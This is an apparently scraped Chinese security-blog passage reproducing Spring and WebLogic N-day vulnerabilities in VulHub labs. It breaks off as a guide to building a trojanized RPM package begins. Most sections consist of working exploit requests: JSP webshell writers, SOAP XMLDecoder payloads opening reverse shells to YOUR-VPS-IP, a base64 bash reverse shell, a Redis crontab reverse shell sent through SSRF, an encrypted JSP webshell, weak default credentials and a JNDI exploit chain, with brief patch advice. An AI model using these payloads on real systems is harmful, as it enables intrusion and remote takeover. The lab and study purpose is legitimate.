T(java.lang.Runtime).getRuntime().exec("ping vujr8z.dnslog.cn")Content-Type: text/plainContent-Length: 4test ​ 修复建议 受影响的组件更新至3.1.7、3.2.3安全版本. Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞(CVE-2022-22965)漏洞概述在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞. 该CVE-2022-22965是在Java 9的环境下,引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,JDK9中存在可以绕过黑名单禁用的类,导致了这个漏洞. 利用版本: Spring Framework 5.3.X < 5.3.18 Spring Framework 5.2.X < 5.2.20 漏洞复现 访问http://103.116.46.7:8080/即可看到一个演示页面 发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件,Payload如下,记得修改中文的地方以及IP 12345678910111213GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22密码%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=文件名&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1 ​ 访问写入的webshell文件 修复建议 升级Spring 版本,Spring 5.3.18 和 Spring 5.2.20 已经修复了这个问题 如果无法升级 Spring,可以配置 DataBinder 来禁止访问这些敏感字段. 在下面的代码中,在 Spring 的 ControllerAdvice 中,使用 @InitBinder 注解获取到 WebDataBinder 对象的引用,再使用 setDisallowedFields 方法设置禁止访问的字段,就可以避免产生这个漏洞. 1234567891011@ControllerAdvice@Order(Ordered.LOWEST_PRECEDENCE)public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"}; dataBinder.setDisallowedFields(denylist); }} Spring-security 认证绕过漏洞(CVE-2022-22978)漏洞概述当Spring-security使用 RegexRequestMatcher 进行权限配置,由于RegexRequestMatcher正则表达式配置权限的特性,正则表达式中包含”.”时,未经身份验证攻击者可以通过构造恶意数据包绕过身份认证. 利用版本 Spring Security 5.5.x < 5.5.7 Spring Security 5.6.x < 5.6.4 环境搭建12wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/spring/CVE-2022-22978-main.zip# IDEA运行 漏洞复现 访问http://127.0.0.1:9090/login 服务器启动后,浏览到http://127.0.0.1:9090/admin 可以看到会重定向到login页面 绕过:http://127.0.0.1:9090/admin%0a/ 修复建议目前,官方已发布可更新版本,建议用户及时更新: Spring Security 5.5.x 升级至 5.5.7 : https://github.com/spring-projects/spring-security/releases/tag/5.5.7https://github.com/spring-projects/spring-security/releases/tag/5.5.7 Spring Security 5.6.x 升级至 5.6.4 : https://github.com/spring-projects/spring-security/releases/tag/5.6.4https://github.com/spring-projects/spring-security/releases/tag/5.6.4","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Weblogic漏洞复现","path":"/2022/10/18/55971a3e/","content":"总字符数: 32.86K 代码: 5.72K, 文本: 7.90K 预计阅读时间: 59 分钟 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)漏洞概述WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险.对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁,受影响的版本: 10.3.6.0.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0 漏洞复现攻击说明攻击者选定要攻击的目标主机后,将首先利用漏洞CVE-2017-3248进行攻击,无论是否成功,都将再利用CVE-2017-10271进行攻击.在每一次的攻击过程中,都是先针对Windows系统,再针对Linux系统.具体攻击流程如下: 利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Linux 中的wget 下载shell脚本并调用Linux本地”/bin/bash”执行shell脚本.(shell脚本内容内定义了从远端下载执行watch-smartd挖矿程序控制细节) 利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Windows 中的PowerShell进行样本下载和运行. 利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Linux 中的wget 下载shell脚本并调用Linux本地”/bin/bash”执行shell脚本. 利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Windows 中的 powershell 进行样本下载和恶意代码执行. 在此次的攻击事件中,CVE-2017-3248利用不成功,CVE-2017-10271则利用成功,从而导致了服务器被攻击者攻陷,进而在系统日志中留下了痕迹. 靶场搭建 直接在 Centos虚拟机基于 Vulhub 漏洞集成环境生成靶场. 进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器 docker ps查看端口下方修改了默认端口 访问http://192.168.2.188:7002/wls-wsat/CoordinatorPortType11,如果存在下图则说明或许存在漏洞 漏洞探测我们向服务器上传一个文件,如果上传并访问成功,证明存在此漏洞,将下方IP换掉 12345678910111213141516171819202122POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: YOUR-IP:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 */#Upgrade-Insecure-Requests: 1Content-Type: text/xmlContent-Length: 675<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope> 反弹Shell步骤和上方一样,将payload换为写shell的 1234567891011121314151617181920212223<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/YOUR-VPS-IP/6666 0&gt;&amp;1</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope> 修复建议 临时解决方案 123456789101112# 根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复# 根据实际环境路径,删除WebLogic wls-wsat组件:rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat# 重启Weblogic域控制器服务# 停止服务DOMAIN_NAME/bin/stopWeblogic.sh# 启动服务DOMAIN_NAME/bin/startManagedWebLogic.sh# 删除以上文件之后,需重启WebLogic确认http://weblogic_ip/wls-wsat/ 是否为404页面. 官方补丁修复前往Oracle官网下载10月份所提供的安全补丁http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.htmlhttp://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)漏洞概述Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击. 影响版本: Oracle Weblogic Server10.3.6.0.0 Oracle Weblogic Server12.1.3.0.0 Oracle Weblogic Server12.2.1.2.0 Oracle Weblogic Server12.2.1.3.0 漏洞复现漏洞探测 使用namp查看目标主机是否启用T3协议 1nmap -p 7001 -T4 -A -v --script weblogic-t3-info 192.168.2.188 启动JRMP Server(监听1099) https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/ysoserial-0.0.6-SNAPSHOT-all.jarhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/ysoserial-0.0.6-SNAPSHOT-all.jar java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping 0qie8z.dnslog.cn' 执行脚本 https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/CVE-2018-2628.pyhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/CVE-2018-2628.py python2 CVE-2018-2628.py 192.168.2.188 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.2.107 1099 JRMPClient192.168.2.188:目标IP192.168.2.107:刚刚开启监听1099端口的主机IP\t查看监听状态 验证漏洞是否成功 反弹Shell步骤和上面一样,只需将ping更换为base64后的payload 123456bash -i >& /dev/tcp/192.168.43.220/1234 0>&1# 进行base64编码# 一会儿要用到base64编码后的shell,命令如下:bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMjIwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-I}# 可以使用下面地址进行base64:# https://ares-x.com/tools/runtime-exec/ 修复建议 此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启.关闭T3服务,或控制T3服务的访问权限,能防护该漏洞.对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用此种方式进行修复.同时,Weblogic采用黑名单的方式进行反序列化漏洞的修复,存在被绕过的风险,因此控制T3服务为防护Weblogic RMI这类反序列化漏洞的有效方式.控制T3服务方式: 进入Weblogic控制台,在base_domain的配置页面中,进入”安全”选项卡页面,点击”筛选器”,进入连接筛选器配置. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 allow t3 t3s,0.0.0.0/0 deny t3 t3s(t3和t3s协议的所有端口只允许本地访问). 保存后需重新启动,规则方可生效. 更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本. 如以上两种策略都无法采用,则可以考虑用更改代码的方式.以10.3.6.0为例,在weblogic.utils.io.oif.WebLogicFilterConfig的黑名单DEFAULT_BLACKLIST_CLASS中添加java.rmi.server.RemoteObjectInvocationHandler,编译并更新swlclient.jar、wlthint3client.jar这两个用到该类的包 任意文件上传漏洞(CVE-2018-2894)漏洞概述Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台.该平台提供了中间件、软件集合等功能.Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件. WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限.两个页面分别为/ws_utc/begin.do,/ws_utc/config.do 漏洞复现 访问漏洞位置http://192.168.2.188:7004/ws_utc/config.do 获取账号密码docker-compose logs | grep password 访问http://192.168.2.188:7001/console/login/LoginForm.jsp登录后台管理员用户名为weblogic 点击base_domain的配置,在”高级”中开启”启用 Web 服务测试页”选项 访问http://192.168.44.132:7001/ws_utc/config.do 设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css静态文件css目录,访问这个目录是无需权限的 构造webshell 创建a.jsp内容如下请求:http://x.x.x.x/a.jsp?pwd=023&i=whoami 1<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 然后点击Security-> Add,抓包,然后上传webshell因为weblogic使用了时间戳_文件名进行了重命名,时间戳在返回包中 然后访问http://192.168.2.188:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell 修复建议暂无 未授权RCE(CVE-2019-2725)漏洞概述CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过. 影响版本:weblogic 10.x、weblogic 12.1.3 存在/_async/AsyncResponseService接口 漏洞复现 访问/_async/AsyncResponseService接口,存在如下页面,即存在漏洞 attck-命令执行 123456789101112131415161718192021222324<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>ping tdjmtv.dnslog.cn</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope> 修复建议 升级本地JDK环境 及时安装官方补丁 未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)漏洞概述Oracle WebLogic Server 是行业领先的应用服务器,用于使用 Java EE 标准构建企业应用程序,并将它们部署在可靠、可扩展的运行时上,并且拥有成本低. 在Oracle 重要补丁更新公告 - 2020 年 10 月中,Oracle 修复了 CVE-2020-14882 和 CVE-2020-14883 来自 Chaitin Tech 的安全研究员 @Voidfyoo 提交的两个安全漏洞. CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令.使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机. 漏洞复现 启动完成后,访问http://192.168.44.132:7001/console查看管理员控制台登录页面 使用此 URL 绕过 Console 组件的身份验证:http://192.168.44.132:7001/console/css/%252e%252e%252fconsole.portal 此时,因为是低权限用户,没有上传 webshell 的权限 第二个漏洞,CVE-2020-14883,有以下两种利用方式 com.tangosol.coherence.mvel2.sh.ShellSession 1. 访问:http://192.168.2.188:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20hzdjjb.dnslog.cn');") 2. 这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class com.tangosol.coherence.mvel2.sh.ShellSession com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更常见的漏洞利用,首次在 CVE-2019-2725 中引入,可用于任何 Weblogic 版本 1. 要利用FileSystemXmlApplicationContext制作一个 XML 文件并将其上传到可以访问的服务器上 2. 写入rce.xml 1234567891011121314<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[curl qi9nx2.dnslog.cn]]></value> </list> </constructor-arg> </bean></beans> python启动服务python3 -m http.server 8080 4. 访问`http://192.168.2.188:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")`Weblogic 将加载此 XML 并执行其中的命令 {% image https://wordpress-1258894728.cos.ap-beijing.myqcloud.com/202210172012676.png %} 5. 该漏洞利用的缺点是:它要求 Weblogic 服务器能够访问恶意 XML. 修复建议此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新.及时更新补丁,参考oracle官网发布的补丁:注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆后,可以下载最新补丁 ssrf(CVE-2014-4210)漏洞概述Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理. Oracle Fusion Middleware 10.0.2.0和10.3.6.0版本的 Oracle WebLogic Server 组件中的 WLS - Web Services 子组件存在安全漏洞.远程攻击者可利用该漏洞读取数据,影响数据的保密性. 类型 描述 漏洞名称 Oracle WebLogic Server SSRF漏洞 威胁类型 SSRF 威胁等级 中 漏洞ID CVE-2014-4210 受影响系统及应用版本 weblogic 10.0.2 – 10.3.6 服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制.比如从指定URL地址获取网页文本内容、加载指定地址的图片、文档等等 漏洞复现SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源. 以下演示的 Weblogic中 靶场环境就是由于访问目标网站是的参数是 URL ,且在服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致存在 SSRF 漏洞,可以获取服务器一定量的数据.同时可以进一步实现篡改获取的资源并发送给服务器,下面是通过 6379 端口访问服务器的 redis 服务,并篡改了 /etc/crontab下的信息,将反弹 Shell 的脚本写入了该目录下从而获得 Shell. 靶场搭建 直接在 Centos虚拟机基于 Vulhub 漏洞集成环境生成靶场. 进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器 docker ps查看端口 访问http://192.168.164.128:7001/uddiexplorer 端口探测SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,仔细查看发现这里有参数传入的是URL,差不多可以断定就是在这个点存在 SSRF 漏洞了 在 BurpSuite 下抓包测试该漏洞,查询请求的operator参数可以进行端口探测,当我们输入不同值时可得到多种不同的报错信息 通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址: 然后访问http://172.20.0.2:6379返回非 HTTP 协议的报错信息,是因为运行着 redis 服务 以上通过 SSRF漏洞探测内网中的 redis 服务器(docker环境的网段一般是172.*)可以通过写脚本或者BURP爆破内网服务,现在已经发现172.19.0.2:6379可以连通. 反弹Shell接下来就是发送三条 redis 命令,将反弹 shell 的脚本写入目录/etc/crontab(这个目录下是一个默认自动执行的一些 crontab 定时服务命令,里面都写的是一些开启服务的命令): 1234set 1 " 0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/YOUR-VPS-IP/6666 0>&1' "config set dir /etc/config set dbfilename crontabsave 命令分析: 命令行 释义 set 1 ... 设置变量”1”的value " 0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/YOUR-VPS-IP/6666 0>&1' " 调用定时任务去定时用root权限执行一个反弹shell,YOUR-VPS-IP为你的vps ip set dir /etc/ 建立一个工作目录 config set dbfilename crontab 创建一个RDB备份文件,文件名crontab;所有的RDB文件都会储存在etc/crontab下 Redis: 是一个key-value型数据库,信息以键对应值的关系储存在内存中,而它算不上是一个真正的数据库,因为 redis 是主要把信息数据存储在内存中(当然也可以把其存储在硬盘上,这也是写shell的必要条件之一).Redis将数据主要保存在内存中,我们可以随时执行save命令将当前的redis数据保存到硬盘上.另外redis也会根据配置自动存储数据到硬盘上,这不得不说到redis的 持久化运作方案,其中说到的一个RDB,一个AOF.RDB更像一个数据库备份文件,而AOF是一个log日志文件.我们可以设置让redis再指定时间、指定更改次数时进行备份,生成RDB文件;而设置AOF,可以在操作或时间过程后将”日志”写入一个文件的最末,当操作越来越多,则AOF文件越来越大.二者是相辅相成的,通过二者的配合我们能够稳定地持久地将数据存储于服务器上. 首先对以上三条 redis 命令进行 url 编码 VPS中监听端口nc -lvvp 6666 将下方中的YOUR-VPS-IP替换为你的VPS-IP 1%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2FYOUR-VPS-IP%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa 成功反弹 可进行利用的cron有如下几个地方: /etc/crontab 这个是肯定的 /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell. /var/spool/cron/root centos系统下root用户的cron文件 /var/spool/cron/crontabs/root debian系统下root用户的cron文件 修复方案目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接: https://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.htmlhttps://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html weak_password漏洞概述在weblogic搭建好之后没有修改进入后台的密码导致弱口令登录获得webshell 本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞.分别通过这两种漏洞,模拟对weblogic场景的渗透. Weblogic版本:10.3.6(11g) Java版本:1.6 漏洞复现暴力破解 访问:http://your-ip:7001/console进入后台 Weblogic常见弱口令总结 system:password weblogic:weblogic admin:secruity joe:password mary:password system:sercurity wlcsystem:wlcsystem weblogic:Oracle@123 访问后台登录地址,输入任意账号密码,Burpsuite抓包 设置Payload 任意文件读取本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件.那么,该漏洞如何利用? weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml; SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符.在burp里选中读取到的那一串乱码,这就是密钥,选中乱码右键copy to file就可以保存成一个文件,文件名:SerializedSystemIni.dat 下载密文brup抓包访问:http://192.168.2.188:7001/hello/file.jsp?path=security/SerializedSystemIni.dat 下载密钥获取 config.xml 的包,找到加密后的管理员密码http://192.168.2.188:7001/hello/file.jsp?path=config/config.xmlconfig.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了 解密然后进行解密工具地址: https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password/decrypthttps://github.com/vulhub/vulhub/tree/master/weblogic/weak_password/decrypt 可能遇到的问题,如果怎么解密都不对,那可能是返回包的编码不对,进行如下设置 如果出现以下情况可能是没有选中乱码进行copy to file 后台上传webshell获取到管理员密码后,登录后台.点击左侧的 Deployments,可见一个应用列表: 点击Install,选择”upload your file(s)” 上传war包.值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/jiangjiyue.war这个压缩包中,再上传.上传成功后点下一步. 上传的war文件是将一句话写在 jiangjiyue.jsp 中,再将 jiangjiyue.jsp 压缩成 jiangjiyue.zip ,再将jiangjiyue.zip改名为 jiangjiyue.war. 一句话木马如下,密码为 pass <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%> 冰蝎连接 修复建议 设置Config.do页面登录授权后访问 IPS等防御产品可以加入相应的特征 升级到官方最新版本 Weblogic反序列化漏洞(cve_2021_2394)环境安装: 1234wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/fmw_12.2.1.3.0_wls_Disk1_1of1.zipunzip fmw_12.2.1.3.0_wls_Disk1_1of1.zipjava -jar fmw_12.2.1.3.0_wls.jar使用管理员运行:C:\\Oracle\\Middleware\\Oracle_Home\\user_projects\\domains\\wl_server\\startWebLogic.cmd 请使用低版本的jdk安装weblogic进行测试 基于RMI的利用方式,JDK版本限制于6u132、7u131、8u121之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码 基于LDAP的利用方式,JDK版本限制于6u211、7u201、8u191、11.0.1之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载 From: 虚拟机中无法复现 后面看到了Iz2y 的EXP中有这篇说明:手把手教你解决Weblogic CVE-2020-2551 POC网络问题,应该就是这个问题了,这里我的理解是docker里面返回的地址是一个内网地址(172开头),我们攻击的机器只能访问外网的地址,因此导致发送不了攻击数据;但是本地就不一样了,本地是能够直接访问docker的网络的,所以本地就不会有问题,而在真实环境中也应该没有这种问题. 漏洞概述Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击.成功利用该漏洞的攻击者可以接管WebLogic Server. 这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表.漏洞条件: 启用了IIOP、T3协议 JDK版本符合JNDI注入条件 影响版本: WebLogic Server 10.3.6.0.0 WebLogic Server 12.1.3.0.0 WebLogic Server 12.2.1.3.0 WebLogic Server 12.2.1.4.0 WebLogic Server 14.1.1.0.0 漏洞复现 下载marshalsec利用marshalsec开启JNDI服务 https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/marshalsec-0.0.3-SNAPSHOT-all.jarhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/marshalsec-0.0.3-SNAPSHOT-all.jar 创建Evil.java,通过javac编译得到Evil.class 12345public class Evil { public Evil() throws Exception{ Runtime.getRuntime().exec("calc.exe"); }} javac Exploit.java必须是java1.8 在VPS同目录下使用python开启一个http服务,并使用marshalsec开启JNDI服务 12python3 -m http.server 8080java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR-VPS-IP:8080/#Evil" 6666 利用exp进行复现 12wget https://github.com/lz2y/CVE-2021-2394/releases/download/2.0/CVE_2021_2394_jar.zipjava -jar CVE_2021_2394.jar 127.0.0.1 7001 ldap://YUR-IP-VPS:6666/Evil 结果 修复建议 升级版本","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"安全加固之Linux软件包封装脚本分析","path":"/2022/09/12/491035d1/","content":"总字符数: 2.10K 代码: 1.97K, 文本: 0.04K 预计阅读时间: 9 分钟 分析RPM包12345678910111213# 查看软件包的信息rpm -qpi 包名# 查看软件包脚本rpm -qpi --scripts 包名# 安装文件之后要执行的命令postinstall# 卸载文件之后要执行的命令postuninstall# 重要选项说明# preinstall:安装过程开始之前运行的脚本,%pre,--nopre选项不执行# postinstall:安装过程完成之后运行的脚本,%post ,--nopost选项不执行# preuninstall:卸载过程真正开始执行之前运行的脚本,%preun, --nopreun选项不执行# postuninstall:卸载过程完成之后运行的脚本,%postun, --nopostun选项不执行 制作木马RPM包1234567891011121314# 以openresty-1.21.4.1.tar.gz源码包为例,我们通过rpm-build将其封装成为木马rpm包# 安装依赖环境yum -y install gcc rpm-build pcre openssl-devel perl# 生成rpmbuild目录结构rpmbuild -ba nginx.spec错误:stat /root/nginx.spec 失败:没有那个文件或目录# 会报错,不过没问题 需要的只是生成的目录rombuild# RPMS(做好后的成品放置区)# SOURCES(放置源码包)# SPECS(配置文件)# 将源码软件下载到SOURCES目录wget -P /root/rpmbuild/SOURCES/ https://openresty.org/download/openresty-1.21.4.1.tar.gz# 创建并修改spec配置文件vim /root/rpmbuild/SPECS/nginx.spec 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657# 软件名称Name: openresty# 软件版本Version: 1.21.4.1# RPM版本 打包版本次数Release: 1%{?dist}Summary: The is a Web Server,to Openresty # 描述# Group: # 软件组,不知道的可以注释# 协议,所属开源软件协议都是GPLLicense: GPL# 网址URL: www.kali.com# 源码文件,必须是源码包名称Source0: 